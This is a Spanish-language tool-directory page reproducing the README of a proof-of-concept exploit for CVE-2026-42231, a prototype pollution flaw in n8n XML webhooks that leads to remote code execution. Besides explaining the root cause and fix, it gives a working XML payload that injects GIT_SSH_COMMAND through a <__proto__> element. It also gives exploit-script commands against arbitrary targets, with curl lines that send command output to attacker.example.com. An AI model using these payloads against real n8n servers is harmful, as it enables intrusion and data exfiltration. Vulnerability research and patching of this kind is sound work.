Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42231 — Prueba de concepto de exploit para CVE-2026-42231, una vulnerabilidad crítica de contaminación de prototipos en los webhooks XML de n8n que conduce a la ejecución remota de código. Incluye laboratorio Docker, PoC en Python y verificador en Node.js. | Kitploit
Herramientas/GitHubGitHub/rudsarkar/cve-2026-42231
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Prueba de concepto de exploit para CVE-2026-42231, una vulnerabilidad crítica de contaminación de prototipos en los webhooks XML de n8n que conduce a la ejecución remota de código. Incluye laboratorio Docker, PoC en Python y verificador en Node.js.

Ver Repositorio
16hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

GHSA-q5f4-99jv-pgg5 — Contaminación de prototipos en webhook XML de n8n → RCE

CVE: CVE-2026-42231
Severidad: Crítica (CVSS 10.0)
Afectados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corregido en: n8n 1.123.32 / 2.17.4 / 2.18.1


Resumen de la vulnerabilidad

packages/cli/src/middlewares/body-parser.ts crea un singleton xml2js Parser a nivel de módulo sin tagNameProcessors ni attrNameProcessors. Esto permite a un atacante enviar un cuerpo de webhook XML que contenga un elemento <__proto__>.

xml2js 0.6.2 usa Object.defineProperty con un descriptor de datos para establecer claves de elementos en objetos analizados. Debido a que '__proto__' in obj siempre es true, assignOrPush() envuelve el valor en un array y lo almacena como una propiedad de datos enumerable propia — omitiendo el accessor [[Set]] que normalmente actualizaría la cadena de prototipos de forma segura.

La propiedad propia __proto__ sobrevive a JSON.stringify (ejecutado cuando n8n persiste los datos de ejecución en SQLite/PostgreSQL), y después de JSON.parse al recargar, un posterior Object.assign(target, reloadedBody) redirige el prototipo de target al objeto controlado por el atacante.

En flujos de trabajo que también contienen un nodo Git que realiza una operación SSH, el prototipo contaminado expone un valor spawnOptions / GIT_SSH_COMMAND a simple-git's createInstanceConfig, permitiendo la ejecución de comandos a nivel de sistema operativo.


Causa raíz

// packages/cli/src/middlewares/body-parser.ts  (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // convierte etiquetas a minúsculas — pero NO bloquea __proto__
    explicitArray: false,
    // ← SIN tagNameProcessors
    // ← SIN attrNameProcessors
});

Corrección (>= 1.123.32):

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Cadena de explotación

1. El atacante envía un POST XML a un disparador de Webhook público:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. El analizador de cuerpo xml2js crea req.body.root donde '__proto__' es una
   PROPIEDAD DE DATOS ENUMERABLE PROPIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() de n8n itera las claves propias mediante for...in + hasOwnProp.
   La asignación  clone['__proto__'] = deepCopy(attackerArray)
   reemplaza silenciosamente el prototipo de clone mediante el accessor [[Set]].

4. n8n serializa los datos de ejecución a la BD:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La clave __proto__ se incluye porque es propia y enumerable.
   Confirmado en la tabla execution_data en SQLite.

5. Al recargar, JSON.parse recrea '__proto__' como una propiedad de datos propia
   (objeto plano, sin envoltura de array).
      Object.assign(gitOptions, reloadedBody)
   redirige el prototipo de gitOptions al objeto controlado por el atacante.

6. Cuando el nodo Git llama a simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   lee config.spawnOptions a través de la cadena de prototipos → truthy →
   spawnOptionsPlugin se registra.
   Con GIT_SSH_COMMAND en el objeto env, git ejecuta el comando del
   atacante en la siguiente operación SSH.

Nota sobre normalizeTags

normalizeTags: true convierte a minúsculas todas las etiquetas XML, por lo que los elementos hijos como <GIT_SSH_COMMAND> se convierten en git_ssh_command en el objeto analizado. Para preservar mayúsculas y minúsculas en nombres de variables de entorno, use atributos XML (los nombres de atributos no se normalizan con normalizeTags):

<env GIT_SSH_COMMAND="attacker_cmd"/>

Requisitos previos

  1. Un disparador de Webhook público (Autenticación = Ninguna, Content-Type = XML) debe existir en un flujo de trabajo activo.
  2. Para la ruta completa de RCE, el flujo de trabajo también debe contener un nodo Git que realice una operación autenticada por SSH (clone / push mediante URL SSH).
  3. Versión de n8n < 1.123.32.

Configuración del laboratorio

Requisitos

  • Docker ≥ 24 con Compose v2
  • Python 3.9+ (para uso independiente del PoC sin Docker)
  • Puerto 5678 libre en localhost

Configuración con un solo comando

chmod +x exploit.sh
./exploit.sh setup

Esto descarga n8nio/n8n:1.123.22 (última versión afectada), construye la imagen del atacante, inicia el objetivo vulnerable en http://localhost:5678, crea y activa automáticamente un flujo de trabajo de webhook, y guarda la URL del webhook en .webhook_state.


Recorrido completo de explotación

1. Configuración

./exploit.sh setup

Salida esperada (truncada):

[*] Descargando imagen vulnerable de n8n (1.123.22) ...
[*] Construyendo imagen del atacante ...
[*] Iniciando objetivo vulnerable de n8n ...
[*] Esperando a que n8n esté saludable ...
[*] Creando flujo de trabajo de webhook (Webhook → nodo Code) ...
[+] Laboratorio listo.

    Ejecute:  ./exploit.sh demo        # verificar la primitiva de contaminación
              ./exploit.sh exploit     # entregar los tres payloads de RCE

2. Verificar la primitiva de contaminación (modo demo)

./exploit.sh demo

El PoC envía un payload de verificación y muestra el cuerpo analizado devuelto desde el flujo de trabajo de n8n. Una instancia vulnerable devuelve:

[+] HTTP 200
    Response: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Entregar payloads con intención de RCE

./exploit.sh exploit
# o con un comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Se entregan tres payloads complementarios:

PayloadTécnica
AEtiqueta <__proto__> — GIT_SSH_COMMAND como atributo XML
BCadena <constructor><prototype>
C<__proto__> anidado con atributos env

4. Observar el resultado (con nodo Git en el flujo de trabajo)

  • En el registro de ejecución de n8n, busque el error del comando git — incluirá la salida de su GIT_SSH_COMMAND inyectado si el RCE se disparó.
  • En modo demo con el nodo Code, el cuerpo de respuesta del flujo de trabajo contendrá "step4_objectAssignPolluted": true confirmando la cadena.

Uso independiente (sin Docker)

pip install -r requirements.txt

# Solo verificación — no se requiere nodo Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <ruta-del-webhook> \
    --demo

# Explotación completa — requiere flujo de trabajo Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <ruta-del-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'
Descargar herramienta